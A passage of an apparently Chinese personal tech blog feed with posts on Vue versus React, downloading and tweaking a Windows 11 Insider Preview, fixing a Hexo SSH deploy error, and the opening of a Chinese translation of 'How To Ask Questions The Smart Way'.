        <content type="html"><![CDATA[<h2 id="个人理解Vue和React区别"><a href="#个人理解Vue和React区别" class="headerlink" title="个人理解Vue和React区别"></a>个人理解Vue和React区别</h2><p> Vue和React相同点非常多：</p><ol><li><p>都使用Virtural DOM</p></li><li><p>都使用组件化思想，流程基本一致</p></li><li><p>都是响应式，推崇单向数据流</p></li><li><p>都有成熟的社区，都支持服务端渲染</p></li><li><p>语法上的区别</p><h5 id="语法上的区别"><a href="#语法上的区别" class="headerlink" title="语法上的区别"></a>语法上的区别</h5><p><strong>Vue 使用的是 web 开发者更熟悉的模板与特性</strong></p><p>vue语法更符合Web开发者的开发习惯,vue采用的是模板+JS+CSS的组合模式呈现,跟之前的前端HTML+JS+CSS更好的配合,可以说<strong>Vue更加注重web开发者的习惯</strong></p><p><strong>React 的特色在于函数式编程的理念和丰富的技术选型</strong></p><p>Vue 比起 React 更容易被前端工程师接受，这是一个直观的感受</p><p>总结:<strong>React 是手动挡，Vue 是自动挡。</strong></p></li></ol><blockquote><p>在vue作者的评价中曾经提过:</p><p>这里我可以大方地承认，如果多年以后要论历史地位，React 肯定是高于 Vue 的。</p></blockquote><p>参考文章:<a href="http://caibaojian.com/vue-vs-react.html">http://caibaojian.com/vue-vs-react.html</a></p>]]></content>
      
      
      <categories>
          
          <category> React </category>
          
      </categories>
      
      
        <tags>
            
            <tag> web </tag>
            
            <tag> React </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>win11安装教程</title>
      <link href="/2021/05/10/win11-an-zhuang-jiao-cheng/"/>
      <url>/2021/05/10/win11-an-zhuang-jiao-cheng/</url>
      
        <content type="html"><![CDATA[<h3 id="Windows11-Insider-Preview-10-0-22000-51简体中文专业版"><a href="#Windows11-Insider-Preview-10-0-22000-51简体中文专业版" class="headerlink" title="Windows11 Insider Preview 10.0.22000.51简体中文专业版"></a><strong>Windows11 Insider Preview 10.0.22000.51简体中文专业版</strong></h3><p><strong>官方推送的是 22000.51，是由 22000.1 和累积更新 KB5004564 组成。</strong></p><p><strong>因此，在本帖，两个版本均提供分享。</strong></p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210701135634715.png" alt="image-20210701135634715"></p><p>**一、Build 22000.51（推送版本）<br>这一版本是直接将更新进行集成。无漏掉集成的更新。未启用任何其他功能。（大小为 4.56GB）<br>链接：<a href="https://pan.baidu.com/s/1nNReYjOK0WAnqKXJvDMWqA">https://pan.baidu.com/s/1nNReYjOK0WAnqKXJvDMWqA</a><br>提取码：9248</p><p>**</p><p><strong>链接：<a href="https://pan.xunlei.com/s/VMdNAaZVaCKmrd-HzSAdcwJ-A1">https://pan.xunlei.com/s/VMdNAaZVaCKmrd-HzSAdcwJ-A1</a></strong><br><strong>提取码：uwx3</strong></p><p><strong>二、Build 22000.1（无任何累积更新）(貌似有点卡顿 尽量不要测试此版本)</strong><br><strong>这一版本是在转制过程开始前，将 Build 22000.51 中的所有更新都删除后获得。（大小为 4.20GB）</strong><br><strong>链接：<a href="https://pan.baidu.com/s/1OoqScPh1ugMPpdLZURmoNQ">https://pan.baidu.com/s/1OoqScPh1ugMPpdLZURmoNQ</a></strong><br><strong>提取码：9248</strong></p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210701135712019.png" alt="image-20210701135712019"></p><p><img src="https://raw.githubusercontent.com/leblog/img/main/huiyi/image-20210701135723329.png" alt="image-20210701135723329"></p><p><strong>如若发现win11的菜单变成以前的了，请进行如下操作:</strong></p><blockquote><p>1、 打开注册表编辑器；</p><p>2、进入HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced</p><p>3、 双击 Start_ShowClassicMode 并将其赋值为 0；没有就新建一个dword32的Start_ShowClassicMode</p><p>4、 重启Win11后，就能看到Win11的菜单了；</p></blockquote>]]></content>
      
      
      <categories>
          
          <category> Windows </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Windows </tag>
            
            <tag> win11 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>hexo发生error：spawn failed错误的解决方法</title>
      <link href="/2020/08/07/hexo-fa-sheng-error-spawn-failed-cuo-wu-de-jie-jue-fang-fa/"/>
      <url>/2020/08/07/hexo-fa-sheng-error-spawn-failed-cuo-wu-de-jie-jue-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="hexo发生error：spawn-failed错误的解决方法"><a href="#hexo发生error：spawn-failed错误的解决方法" class="headerlink" title="hexo发生error：spawn failed错误的解决方法"></a>hexo发生error：spawn failed错误的解决方法</h1><p>hexo突然上传不了，出错了。</p><p>今天hexo突然部署不了文章了，错误页面如下。</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/blog/image-20210607182538223.png" alt="image-20210607182538223"></p><p>然后就去github仓库看了一下，发下之前的ssh key没了，重新设了一个也连接不上。最后找到一个方法。</p><p>在存放key的目录下新建config文件。</p><p><img src="https://raw.githubusercontent.com/leblog/img/main/blog/image-20210607194226257.png" alt="image-20210607194226257"></p><p>填入以下内容</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Host github.com</span><br><span class="line">User 你GitHub的邮箱</span><br><span class="line">Hostname ssh.github.com</span><br><span class="line">PreferredAuthentications publickey</span><br><span class="line">IdentityFile ~/.ssh/id_rsa</span><br><span class="line">Port 443</span><br></pre></td></tr></table></figure><p>然后用 <code>ssh -T git@github.com</code>命令测试能否连接</p><p>如果没有出现ssh不能连接的话，忽略以上内容</p><p>接着回到博客的根目录</p><p>第一种方法：</p><p>删除.deploy_git文件</p><p>然后输入<code>git config --gloabl core.autocrlf false</code></p><p>重新hexo clean</p><p>hexo g</p><p>hexo d</p><p>部署</p><p>但是发现好像只是一次性的。并不能永久解决</p><p>第二种方法：</p><p>打开_config.yml配置文件</p><p>修改以下内容</p><p>deploy:</p><p>type: git</p><p>repo: <a href="https://github.com/yourname/yourname.github.io.git">https://github.com/yourname/yourname.github.io.git</a></p><p>branch: master</p><p>其中的repo修改为</p><p><a href="mailto:git@github.com">git@github.com</a>:yourname/yourname.github.io.git</p>]]></content>
      
      
      <categories>
          
          <category> blog </category>
          
      </categories>
      
      
        <tags>
            
            <tag> hexo </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>提问的智慧</title>
      <link href="/2020/07/30/ti-wen-de-zhi-hui/"/>
      <url>/2020/07/30/ti-wen-de-zhi-hui/</url>
      
        <content type="html"><![CDATA[<h1 id="提问的智慧"><a href="#提问的智慧" class="headerlink" title="提问的智慧"></a>提问的智慧</h1><p><a href="https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/pulls"><img src="https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square" alt="PRs Welcome"></a></p><p><strong>How To Ask Questions The Smart Way</strong></p><p>Copyright © 2001,2006,2014 Eric S. Raymond, Rick Moen</p><p>本指南英文版版权为 Eric S. Raymond, Rick Moen 所有。</p><p>原文网址：<a href="http://www.catb.org/~esr/faqs/smart-questions.html">http://www.catb.org/~esr/faqs/smart-questions.html</a></p><p>Copyleft 2001 by D.H.Grand(nOBODY/Ginux), 2010 by Gasolin, 2015 by Ryan Wu</p><p>本中文指南是基于原文 3.10 版以及 2010 年由 <a href="https://github.com/gasolin">Gasolin</a> 所翻译版本的最新翻译；</p><p>协助指出翻译问题，<strong>请<a href="https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/issues/new">发 Issue</a>，或直接<a href="https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/compare">发 Pull Request</a> 给我。</strong></p><p>本文另有<a href="README.md">繁體中文版</a>。</p><h2 id="原文版本历史"><a href="#原文版本历史" class="headerlink" title="原文版本历史"></a><a href="history.md">原文版本历史</a></h2><h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#声明">声明</a></li><li><a href="#简介">简介</a></li><li><a href="#在提问之前">在提问之前</a></li><li><a href="#当你提问时">当你提问时</a><ul><li><a href="#慎选提问的论坛">慎选提问的论坛</a></li><li><a href="#stack-overflow">Stack Overflow</a></li><li><a href="#网站和-irc-论坛">网站和 IRC 论坛</a></li><li><a href="#第二步使用项目邮件列表">第二步，使用项目邮件列表</a></li><li><a href="#使用有意义且描述明确的标题">使用有意义且描述明确的标题</a></li><li><a href="#使问题容易回复">使问题容易回复</a></li><li><a href="#用清晰、正确、精准且语法正确的语句">用清晰、正确、精准且语法正确的语句</a></li><li><a href="#使用易于读取且标准的文件格式发送问题">使用易于读取且标准的文件格式发送问题</a></li><li><a href="#精确地描述问题并言之有物">精确地描述问题并言之有物</a></li><li><a href="#话不在多而在精">话不在多而在精</a></li><li><a href="#别动辄声称找到-bug">别动辄声称找到 Bug</a></li><li><a href="#低声下气不能代替你的功课">低声下气不能代替你的功课</a></li><li><a href="#描述问题症状而非你的猜测">描述问题症状而非你的猜测</a></li><li><a href="#按发生时间先后列出问题症状">按发生时间先后列出问题症状</a></li><li><a href="#描述目标而不是过程">描述目标而不是过程</a></li><li><a href="#别要求使用私人电邮回复">别要求使用私人电邮回复</a></li><li><a href="#清楚明确的表达你的问题以及需求">清楚明确的表达你的问题以及需求</a></li><li><a href="#询问有关代码的问题时">询问有关代码的问题时</a></li><li><a href="#别把自己家庭作业的问题贴上来">别把自己家庭作业的问题贴上来</a></li><li><a href="#去掉无意义的提问句">去掉无意义的提问句</a></li><li><a href="#即使你很急也不要在标题写紧急">即使你很急也不要在标题写紧急</a></li><li><a href="#礼多人不怪而且有时还很有帮助">礼多人不怪，而且有时还很有帮助</a></li><li><a href="#问题解决后加个简短的补充说明">问题解决后，加个简短的补充说明</a></li></ul></li><li><a href="#如何解读答案">如何解读答案</a><ul><li><a href="#rtfm-和-stfw如何知道你已完全搞砸了">RTFM 和 STFW：如何知道你已完全搞砸了</a></li><li><a href="#如果还是搞不懂">如果还是搞不懂</a></li><li><a href="#处理无礼的回应">处理无礼的回应</a></li></ul></li><li><a href="#如何避免扮演失败者">如何避免扮演失败者</a></li><li><a href="#不该问的问题">不该问的问题</a></li><li><a href="#好问题与蠢问题">好问题与蠢问题</a></li><li><a href="#如果得不到回答">如果得不到回答</a></li><li><a href="#如何更好地回答问题">如何更好地回答问题</a></li><li><a href="#相关资源">相关资源</a></li><li><a href="#鸣谢">鸣谢</a></li></ul><h2 id="声明"><a href="#声明" class="headerlink" title="声明"></a>声明</h2><p>许多项目在他们的使用协助/说明网页中链接了本指南，这么做很好，我们也鼓励大家都这么做。但如果你是负责管理这个项目网页的人，请在超链接附近的显著位置上注明：</p><p><strong>本指南不提供此项目的实际支持服务！</strong></p><p>我们已经深刻领教到少了上述声明所带来的痛苦。因为少了这点声明，我们不停地被一些白痴纠缠。这些白痴认为既然我们发布了这本指南，那么我们就有责任解决世上所有的技术问题。</p><p>如果你因寻求某些帮助而阅读本指南，并在离开时还觉得可以从本文作者这里得到直接帮助，那你就是我们之前说的那些白痴之一。别问我们问题，我们只会忽略你。我们在这本指南中是教你如何从那些真正懂得你所遇到软件或硬件问题的人取得协助，而 99% 的情况下那不会是我们。除非你确定本指南的作者之一刚好是你所遇到的问题领域的专家，否则请不要打扰我们，这样大家都会开心一点。</p><h2 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h2><p>在<a href="http://www.catb.org/~esr/faqs/hacker-howto.html">黑客</a>的世界里，当你拋出一个技术问题时，最终是否能得到有用的回答，往往取决于你所提问和追问的方式。本指南将教你如何正确的提问以获得你满意的答案。</p><p>不只是黑客，现在开源（Open Source）软件已经相当盛行，你常常也可以由其他有经验的使用者身上得到好答案，这是件<strong>好事</strong>；使用者比起黑客来，往往对那些新手常遇到的问题更宽容一些。然而，将有经验的使用者视为黑客，并采用本指南所提的方法与他们沟通，同样也是能从他们身上得到满意回答的最有效方式。</p><p>首先你应该明白，黑客们喜爱有挑战性的问题，或者能激发他们思维的好问题。如果我们并非如此，那我们也不会成为你想询问的对象。如果你给了我们一个值得反复咀嚼玩味的好问题，我们自会对你感激不尽。好问题是激励，是厚礼。好问题可以提高我们的理解力，而且通常会暴露我们以前从没意识到或者思考过的问题。对黑客而言，”好问题！”是诚挚的大力称赞。</p><p>尽管如此，黑客们有着蔑视或傲慢面对简单问题的坏名声，这有时让我们看起来对新手、无知者似乎较有敌意，但其实不是那样的。</p><p>我们不讳言我们对那些不愿思考、或者在发问前不做他们该做的事的人的蔑视。那些人是时间杀手 —— 他们只想索取，从不付出，消耗我们可用在更有趣的问题或更值得回答的人身上的时间。我们称这样的人为 <code>失败者（撸瑟）</code> （由于历史原因，我们有时把它拼作 <code>lusers</code>）。</p><p>我们意识到许多人只是想使用我们写的软件，他们对学习技术细节没有兴趣。对大多数人而言，电脑只是种工具，是种达到目的的手段而已。他们有自己的生活并且有更要紧的事要做。我们了解这点，也从不指望每个人都对这些让我们着迷的技术问题感兴趣。尽管如此，我们回答问题的风格是指向那些真正对此有兴趣并愿意主动参与解决问题的人，这一点不会变，也不该变。如果连这都变了，我们就是在降低做自己最擅长的事情上的效率。</p><p>我们（在很大程度上）是自愿的，从繁忙的生活中抽出时间来解答疑惑，而且时常被提问淹没。所以我们无情的滤掉一些话题，特别是拋弃那些看起来像失败者的家伙，以便更高效的利用时间来回答<code>赢家（winner）</code>的问题。</p><p>如果你厌恶我们的态度，高高在上，或过于傲慢，不妨也设身处地想想。我们并没有要求你向我们屈服 —— 事实上，我们大多数人非常乐意与你平等地交流，只要你付出小小努力来满足基本要求，我们就会欢迎你加入我们的文化。但让我们帮助那些不愿意帮助自己的人是没有效率的。无知没有关系，但装白痴就是不行。</p><p>所以，你不必在技术上很在行才能吸引我们的注意，但你必须表现出能引导你变得在行的特质 —— 机敏、有想法、善于观察、乐于主动参与解决问题。如果你做不到这些使你与众不同的事情，我们建议你花点钱找家商业公司签个技术支持服务合同，而不是要求黑客个人无偿地帮助你。</p><p>如果你决定向我们求助，当然你也不希望被视为失败者，更不愿成为失败者中的一员。能立刻得到快速并有效答案的最好方法，就是像赢家那样提问 —— 聪明、自信、有解决问题的思路，只是偶尔在特定的问题上需要获得一点帮助。</p><p>（欢迎对本指南提出改进意见。你可以 email 你的建议至 <a href="esr@thyrsus.com">esr@thyrsus.com</a> 或 <a href="respond-auto@linuxmafia.com">respond-auto@linuxmafia.com</a>。然而请注意，本文并非<a href="http://www.ietf.org/rfc/rfc1855.txt">网络礼节</a>的通用指南，而我们通常会拒绝无助于在技术论坛得到有用答案的建议）。</p><h2 id="在提问之前"><a href="#在提问之前" class="headerlink" title="在提问之前"></a>在提问之前</h2><p>在你准备要通过电子邮件、新闻群组或者聊天室提出技术问题前，请先做到以下事情：</p><ol><li>尝试在你准备提问的论坛的旧文章中搜索答案。</li><li>尝试上网搜索以找到答案。</li><li>尝试阅读手册以找到答案。</li><li>尝试阅读常见问题文件（FAQ）以找到答案。</li><li>尝试自己检查或试验以找到答案。</li><li>向你身边的强者朋友打听以找到答案。</li><li>如果你是程序开发者，请尝试阅读源代码以找到答案。</li></ol><p>当你提出问题的时候，请先表明你已经做了上述的努力；这将有助于树立你并不是一个不劳而获且浪费别人的时间的提问者。如果你能一并表达在做了上述努力的过程中所<strong>学到</strong>的东西会更好，因为我们更乐于回答那些表现出能从答案中学习的人的问题。</p><p>运用某些策略，比如先用 Google 搜索你所遇到的各种错误信息（搜索 <a href="http://groups.google.com/">Google 论坛</a>和网页），这样很可能直接就找到了能解决问题的文件或邮件列表线索。即使没有结果，在邮件列表或新闻组寻求帮助时加上一句 <code>我在 Google 中搜过下列句子但没有找到什么有用的东西</code> 也是件好事，即使它只是表明了搜索引擎不能提供哪些帮助。这么做（加上搜索过的字串）也让遇到相似问题的其他人能被搜索引擎引导到你的提问来。</p><p>别着急，不要指望几秒钟的 Google 搜索就能解决一个复杂的问题。在向专家求助之前，再阅读一下常见问题文件（FAQ）、放轻松、坐舒服一些，再花点时间思考一下这个问题。相信我们，他们能从你的提问看出你做了多少阅读与思考，如果你是有备而来，将更有可能得到解答。不要将所有问题一股脑拋出，只因你的第一次搜索没有找到答案（或者找到太多答案）。</p><p>准备好你的问题，再将问题仔细的思考过一遍，因为草率的发问只能得到草率的回答，或者根本得不到任何答案。越是能表现出在寻求帮助前你为解决问题所付出的努力，你越有可能得到实质性的帮助。</p><p>小心别问错了问题。如果你的问题基于错误的假设，某个普通黑客（J. Random Hacker）多半会一边在心里想着<code>蠢问题…</code>， 一边用无意义的字面解释来答复你，希望着你会从问题的回答（而非你想得到的答案）中汲取教训。</p><p>绝不要自以为<strong>够格</strong>得到答案，你没有；你并没有。毕竟你没有为这种服务支付任何报酬。你将会是自己去<strong>挣到</strong>一个答案，靠提出有内涵的、有趣的、有思维激励作用的问题 —— 一个有潜力能贡献社区经验的问题，而不仅仅是被动的从他人处索取知识。</p><p>另一方面，表明你愿意在找答案的过程中做点什么是一个非常好的开端。<code>谁能给点提示？</code>、<code>我的这个例子里缺了什么？</code>以及<code>我应该检查什么地方</code>比<code>请把我需要的确切的过程贴出来</code>更容易得到答复。因为你表现出只要有人能指个正确方向，你就有完成它的能力和决心。</p><h2 id="当你提问时"><a href="#当你提问时" class="headerlink" title="当你提问时"></a>当你提问时</h2><h3 id="慎选提问的论坛"><a href="#慎选提问的论坛" class="headerlink" title="慎选提问的论坛"></a>慎选提问的论坛</h3><p>小心选择你要提问的场合。如果你做了下述的事情，你很可能被忽略掉或者被看作失败者：</p><ul><li>在与主题不合的论坛上贴出你的问题。</li><li>在探讨进阶技术问题的论坛张贴非常初级的问题；反之亦然。</li><li>在太多的不同新闻群组上重复转贴同样的问题（cross-post）。</li><li>向既非熟人也没有义务解决你问题的人发送私人电邮。</li></ul><p>黑客会剔除掉那些搞错场合的问题，以保护他们沟通的渠道不被无关的东西淹没。你不会想让这种事发生在自己身上的。</p><p>因此，第一步是找到对的论坛。再说一次，Google 和其它搜索引擎还是你的朋友，用它们来找到与你遭遇到困难的软硬件问题最相关的网站。通常那儿都有常见问题（FAQ）、邮件列表及相关说明文件的链接。如果你的努力（包括<strong>阅读</strong> FAQ）都没有结果，网站上也许还有报告 Bug（Bug-reporting）的流程或链接，如果是这样，链过去看看。</p><p>向陌生的人或论坛发送邮件最可能是风险最大的事情。举例来说，别假设一个提供丰富内容的网页的作者会想充当你的免费顾问。不要对你的问题是否会受到欢迎做太乐观的估计 —— 如果你不确定，那就向别处发送，或者压根别发。</p><p>在选择论坛、新闻群组或邮件列表时，别太相信名字，先看看 FAQ 或者许可书以弄清楚你的问题是否切题。发文前先翻翻已有的话题，这样可以让你感受一下那里的文化。事实上，事先在新闻组或邮件列表的历史记录中搜索与你问题相关的关键词是个极好的主意，也许这样就找到答案了。即使没有，也能帮助你归纳出更好的问题。</p><p>别像机关枪似的一次”扫射”所有的帮助渠道，这就像大喊大叫一样会使人不快。要一个一个地来。</p><p>搞清楚你的主题！最典型的错误之一是在某种致力于跨平台可移植的语言、套件或工具的论坛中提关于 Unix 或 Windows 操作系统程序界面的问题。如果你不明白为什么这是大错，最好在搞清楚这之间差异之前什么也别问。</p><p>一般来说，在仔细挑选的公共论坛中提问，会比在私有论坛中提同样的问题更容易得到有用的回答。有几个理由可以支持这点，一是看潜在的回复者有多少，二是看观众有多少。黑客较愿意回答那些能帮助到许多人的问题。</p><p>可以理解的是，老练的黑客和一些热门软件的作者正在接受过多的错发信息。就像那根最后压垮骆驼背的稻草一样，你的加入也有可能使情况走向极端 —— 已经好几次了，一些热门软件的作者从自己软件的支持中抽身出来，因为伴随而来涌入其私人邮箱的无用邮件变得无法忍受。</p><h3 id="Stack-Overflow"><a href="#Stack-Overflow" class="headerlink" title="Stack Overflow"></a>Stack Overflow</h3><p>搜索，<strong>然后</strong> 在 Stack Exchange 问。</p><p>近年来，Stack Exchange 社区已经成为回答技术及其他问题的主要渠道，尤其是那些开放源码的项目。</p><p>因为 Google 索引是即时的，在看 Stack Exchange 之前先在 Google 搜索。有很高的机率某人已经问了一个类似的问题，而且 Stack Exchange 网站们往往会是搜索结果中最前面几个。如果你在 Google 上没有找到任何答案，你再到特定相关主题的网站去找。用标签（Tag）搜索能让你更缩小你的搜索结果。</p><p>Stack Exchange 已经成长到<a href="http://stackexchange.com/sites">超过一百个网站</a>，以下是最常用的几个站：</p><ul><li>Super User 是问一些通用的电脑问题，如果你的问题跟代码或是写程序无关，只是一些网络连线之类的，请到这里。</li><li>Stack Overflow 是问写程序有关的问题。</li><li>Server Fault 是问服务器和网管相关的问题。</li></ul><h3 id="网站和-IRC-论坛"><a href="#网站和-IRC-论坛" class="headerlink" title="网站和 IRC 论坛"></a>网站和 IRC 论坛</h3><p>本地的使用者群组（user group），或者你所用的 Linux 发行版本也许正在宣传他们的网页论坛或 IRC 频道，并提供新手帮助（在一些非英语国家，新手论坛很可能还是邮件列表）， 这些地方是开始提问的好首选，特别是当你觉得遇到的也许只是相对简单或者很普通的问题时。有广告赞助的 IRC 频道是公开欢迎提问的地方，通常可以即时得到回应。</p><p>事实上，如果程序出的问题只发生在特定 Linux 发行版提供的版本（这很常见），最好先去该发行版的论坛或邮件列表中提问，再到程序本身的论坛或邮件列表提问。（否则）该项目的黑客可能仅仅回复 “用<strong>我们的</strong>版本”。</p><p>在任何论坛发文以前，先确认一下有没有搜索功能。如果有，就试着搜索一下问题的几个关键词，也许这会有帮助。如果在此之前你已做过通用的网页搜索（你也该这样做），还是再搜索一下论坛，搜索引擎有可能没来得及索引此论坛的全部内容。</p><p>通过论坛或 IRC 频道来提供使用者支持服务有增长的趋势，电子邮件则大多为项目开发者间的交流而保留。所以最好先在论坛或 IRC 中寻求与该项目相关的协助。</p><p>在使用 IRC 的时候，首先最好不要发布很长的问题描述，有些人称之为频道洪水。最好通过一句话的问题描述来开始聊天。</p><h3 id="第二步，使用项目邮件列表"><a href="#第二步，使用项目邮件列表" class="headerlink" title="第二步，使用项目邮件列表"></a>第二步，使用项目邮件列表</h3><p>当某个项目提供开发者邮件列表时，要向列表而不是其中的个别成员提问，即使你确信他能最好地回答你的问题。查一查项目的文件和首页，找到项目的邮件列表并使用它。有几个很好的理由支持我们采用这种办法：</p><ul><li>任何好到需要向个别开发者提出的问题，也将对整个项目群组有益。反之，如果你认为自己的问题对整个项目群组来说太愚蠢，也不能成为骚扰个别开发者的理由。</li><li>向列表提问可以分散开发者的负担，个别开发者（尤其是项目领导人）也许太忙以至于没法回答你的问题。</li><li>大多数邮件列表都会被存档，那些被存档的内容将被搜索引擎索引。如果你向列表提问并得到解答，将来其它人可以通过网页搜索找到你的问题和答案，也就不用再次发问了。</li><li>如果某些问题经常被问到，开发者可以利用此信息来改进说明文件或软件本身，以使其更清楚。如果只是私下提问，就没有人能看到最常见问题的完整场景。</li></ul><p>如果一个项目既有”使用者” 也有”开发者”（或”黑客”）邮件列表或论坛，而你又不会动到那些源代码，那么就向”使用者”列表或论坛提问。不要假设自己会在开发者列表中受到欢迎，那些人多半会将你的提问视为干扰他们开发的噪音。</p><p>然而，如果你<strong>确信</strong>你的问题很特别，而且在”使用者” 列表或论坛中几天都没有回复，可以试试前往”开发者”列表或论坛发问。建议你在张贴前最好先暗地里观察几天以了解那里的行事方式（事实上这是参与任何私有或半私有列表的好主意）</p><p>如果你找不到一个项目的邮件列表，而只能查到项目维护者的电子邮件地址，尽管向他发信。即使是在这种情况下，也别假设（项目）邮件列表不存在。在你的电子邮件中，请陈述你已经试过但没有找到合适的邮件列表，也提及你不反对将自己的邮件转发给他人（许多人认为，即使没什么秘密，私人电子邮件也不应该被公开。通过允许将你的电子邮件转发他人，你给了相应人员处置你邮件的选择）。</p><h3 id="使用有意义且描述明确的标题"><a href="#使用有意义且描述明确的标题" class="headerlink" title="使用有意义且描述明确的标题"></a>使用有意义且描述明确的标题</h3><p>在邮件列表、新闻群组或论坛中，大约 50 字以内的标题是抓住资深专家注意力的好机会。别用喋喋不休的<code>帮帮忙</code>、<code>跪求</code>、<code>急</code>（更别说<code>救命啊！！！！</code>这样让人反感的话，用这种标题会被条件反射式地忽略）来浪费这个机会。不要妄想用你的痛苦程度来打动我们，而应该是在这点空间中使用极简单扼要的描述方式来提出问题。</p><p>一个好标题范例是<code>目标 —— 差异</code>式的描述，许多技术支持组织就是这样做的。在<code>目标</code>部分指出是哪一个或哪一组东西有问题，在<code>差异</code>部分则描述与期望的行为不一致的地方。</p><blockquote><p>蠢问题：救命啊！我的笔记本电脑不能正常显示了！</p></blockquote><blockquote><p>聪明问题：X.org 6.8.1 的鼠标光标会变形，某牌显卡 MV1005 芯片组。</p></blockquote><blockquote><p>更聪明问题：X.org 6.8.1 的鼠标光标，在某牌显卡 MV1005 芯片组环境下 - 会变形。</p></blockquote><p>编写<code>目标 —— 差异</code> 式描述的过程有助于你组织对问题的细致思考。是什么被影响了？ 仅仅是鼠标光标或者还有其它图形？只在 X.org 的 X 版中出现？或只是出现在 6.8.1 版中？ 是针对某牌显卡芯片组？或者只是其中的 MV1005 型号？ 一个黑客只需瞄一眼就能够立即明白你的环境<strong>和</strong>你遇到的问题。</p><p>总而言之，请想像一下你正在一个只显示标题的存档讨论串（Thread）索引中查寻。让你的标题更好地反映问题，可使下一个搜索类似问题的人能够关注这个讨论串，而不用再次提问相同的问题。</p><p>如果你想在回复中提出问题，记得要修改内容标题，以表明你是在问一个问题， 一个看起来像 <code>Re: 测试</code> 或者 <code>Re: 新 bug</code> 的标题很难引起足够重视。另外，在不影响连贯性之下，适当引用并删减前文的内容，能给新来的读者留下线索。</p><p>对于讨论串，不要直接点击回复来开始一个全新的讨论串，这将限制你的观众。因为有些邮件阅读程序，比如 mutt ，允许使用者按讨论串排序并通过折叠讨论串来隐藏消息，这样做的人永远看不到你发的消息。</p><p>仅仅改变标题还不够。mutt 和其它一些邮件阅读程序还会检查邮件标题以外的其它信息，以便为其指定讨论串。所以宁可发一个全新的邮件。</p><p>在网页论坛上，好的提问方式稍有不同，因为讨论串与特定的信息紧密结合，并且通常在讨论串外就看不到里面的内容，故通过回复提问，而非改变标题是可接受的。不是所有论坛都允许在回复中出现分离的标题，而且这样做了基本上没有人会去看。不过，通过回复提问，这本身就是暧昧的做法，因为它们只会被正在查看该标题的人读到。所以，除非你<strong>只想</strong>在该讨论串当前活跃的人群中提问，不然还是另起炉灶比较好。</p><h3 id="使问题容易回复"><a href="#使问题容易回复" class="headerlink" title="使问题容易回复"></a>使问题容易回复</h3><p>以<code>请将你的回复发送到……</code>来结束你的问题多半会使你得不到回答。如果你觉得花几秒钟在邮件客户端设置一下回复地址都麻烦，我们也觉得花几秒钟思考你的问题更麻烦。如果你的邮件程序不支持这样做，<a href="http://linuxmafia.com/faq/Mail/muas.html">换个好点的</a>；如果是操作系统不支持这种邮件程序，也换个好点的。</p><p>在论坛，要求通过电子邮件回复是非常无礼的，除非你认为回复的信息可能比较敏感（有人会为了某些未知的原因，只让你而不是整个论坛知道答案）。如果你只是想在有人回复讨论串时得到电子邮件提醒，可以要求网页论坛发送给你。几乎所有论坛都支持诸如<code>追踪此讨论串</code>、<code>有回复时发送邮件提醒</code>等功能。</p><h3 id="用清晰、正确、精准且语法正确的语句"><a href="#用清晰、正确、精准且语法正确的语句" class="headerlink" title="用清晰、正确、精准且语法正确的语句"></a>用清晰、正确、精准且语法正确的语句</h3><p>我们从经验中发现，粗心的提问者通常也会粗心的写程序与思考（我敢打包票）。回答粗心大意者的问题很不值得，我们宁愿把时间耗在别处。</p><p>正确的拼写、标点符号和大小写是很重要的。一般来说，如果你觉得这样做很麻烦，不想在乎这些，那我们也觉得麻烦，不想在乎你的提问。花点额外的精力斟酌一下字句，用不着太僵硬与正式 —— 事实上，黑客文化很看重能准确地使用非正式、俚语和幽默的语句。但它<strong>必须很</strong>准确，而且有迹象表明你是在思考和关注问题。</p><p>正确地拼写、使用标点和大小写，不要将<code>its</code>混淆为<code>it&#39;s</code>，<code>loose</code>搞成<code>lose</code>或者将<code>discrete</code>弄成<code>discreet</code>。不要<strong>全部用大写</strong>，这会被视为无礼的大声嚷嚷（全部小写也好不到哪去，因为不易阅读。<a href="http://en.wikipedia.org/wiki/Alan_Cox">Alan Cox</a> 也许可以这样做，但你不行）。</p><p>更白话的说，如果你写得像是个半文盲[译注：<a href="http://zh.wikipedia.org/wiki/小白">小白</a>]，那多半得不到理睬。也不要使用即时通信中的简写或<a href="http://zh.wikipedia.org/wiki/火星文">火星文</a>，如将<code>的</code>简化为<code>d</code>会使你看起来像一个为了少打几个键而省字的小白。更糟的是，如果像个小孩似地鬼画符那绝对是在找死，可以肯定没人会理你（或者最多是给你一大堆指责与挖苦）。</p><p>如果在使用非母语的论坛提问，你可以犯点拼写和语法上的小错，但决不能在思考上马虎（没错，我们通常能弄清两者的分别）。同时，除非你知道回复者使用的语言，否则请使用英语书写。繁忙的黑客一般会直接删除用他们看不懂语言写的消息。在网络上英语是通用语言，用英语书写可以将你的问题在尚未被阅读就被直接删除的可能性降到最低。</p><p>如果英文是你的外语（Second language），提示潜在回复者你有潜在的语言困难是很好的：<br>[译注：以下附上原文以供使用]</p><blockquote><p>English is not my native language; please excuse typing errors.</p></blockquote><ul><li>英文不是我的母语，请原谅我的错字或语法。</li></ul><blockquote><p>If you speak $LANGUAGE, please email/PM me;<br>I may need assistance translating my question.</p></blockquote><ul><li>如果你说<strong>某语言</strong>，请寄信/私讯给我；我需要有人协助我翻译我的问题。</li></ul><blockquote><p>I am familiar with the technical terms,<br>but some slang expressions and idioms are difficult for me.</p></blockquote><ul><li>我对技术名词很熟悉，但对于俗语或是特别用法比较不甚了解。</li></ul><blockquote><p>I’ve posted my question in $LANGUAGE and English.<br>I’ll be glad to translate responses, if you only use one or the 